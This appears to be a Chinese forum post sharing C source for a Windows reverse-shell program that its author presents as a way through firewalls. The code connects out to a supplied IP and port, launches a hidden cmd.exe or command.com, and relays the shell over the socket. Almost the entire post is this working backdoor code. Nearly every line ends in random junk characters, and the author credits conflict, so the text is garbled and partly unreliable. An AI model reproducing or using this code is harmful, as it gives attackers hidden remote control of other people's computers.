这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0?$jC-@k:
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/* ============================== ]>9[}'u
Rebound port in Windows NT >Ut4INV
By wind,2006/7 )%+7"7.
===============================*/ /f*QxNZ,p
#include }'KHF0
#include
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#pragma comment(lib,"wsock32.lib") qWdob>u
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void OutputShell(); C8Oh]JF4d
SOCKET sClient; YigDrW
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $etw'c0
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void main(int argc,char **argv) $~ >/_<~
{ 9#>t% IF~
WSADATA stWsaData; MaS-*;BY,
int nRet; (y^svXU}a
SOCKADDR_IN stSaiClient,stSaiServer; SG4)kQ
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if(argc != 3) )MWbZAI
{ (rieg F
printf("Useage:\n\rRebound DestIP DestPort\n"); ^KF%Z2:$
return; @e#{Sm
} tqFE>ojlI
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{
WSAStartup(MAKEWORD(2,2),&stWsaData); TpGnSD
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q/h, jM
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stSaiClient.sin_family = AF_INET; HhZ>/5'(
stSaiClient.sin_port = htons(0); g=na3^PL6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (|2:^T+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^Q#g-"b
{ B9:
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printf("Bind Socket Failed!\n"); 'PvOOhm,
return; Mp3nR5@d$
} K'c[r0Ew
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stSaiServer.sin_family = AF_INET; grxlGS~Q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sTu]C +A
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); YXLZ2-%ohZ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x+bC\,q
{ @@3%lr71
printf("Connect Error!"); zq'KX/o
return; h:=W`(n5u
} O~OM.:al&
OutputShell(); AsfmH-4)
} nu `R(2/
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void OutputShell() B!x7oD9
{ 5hl!zA?
char szBuff[1024]; Y`*h#{|
SECURITY_ATTRIBUTES stSecurityAttributes; {nj`>
OSVERSIONINFO stOsversionInfo; !!<H*9]+W;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3kavzB[
STARTUPINFO stStartupInfo; v05$"Ig
char *szShell; ++!'6!l
PROCESS_INFORMATION stProcessInformation; 0i>>CvAl}
unsigned long lBytesRead; V4ybrUWK
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V`4/oM`
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6Qn};tbnD
stSecurityAttributes.lpSecurityDescriptor = 0; ?s@=DDB\u
stSecurityAttributes.bInheritHandle = TRUE; G.:QA}FE'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ys>Z=Eky
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w\1K.j=>|N
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xz-?sD/xe
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sg<
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stStartupInfo.wShowWindow = SW_HIDE; 6J<R;g23R]
stStartupInfo.hStdInput = hReadPipe; *o=[p2d"X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &9EcgazV
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GetVersionEx(&stOsversionInfo); W+i&!'
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switch(stOsversionInfo.dwPlatformId) 48)D%867.;
{ H}cq|hodn
case 1: 'd]t@[#
szShell = "command.com"; .wPI%5D
break; bl-D{)X
default: GE*%I1?]
szShell = "cmd.exe"; K2gF;(
break; Q"QZ^!zRl
} pwVaSnre`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =@P]eK/
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send(sClient,szMsg,77,0); G4^6o[ x
while(1) =C-
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{ 0D/7X9xg9+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `Krk<G
if(lBytesRead) y=2nV
{ bh+m_$X~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9z+ZFIf7d
send(sClient,szBuff,lBytesRead,0); :pLaxWus!
} +t8#rT ^B
else A3.*d:A
{
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lBytesRead=recv(sClient,szBuff,1024,0); O jH"qi
if(lBytesRead<=0) break; dN@C)5pm5`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); m$VCCDv
} L=gG23U&
} qS?^(Vt|R
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return; ;( (|0Xa
}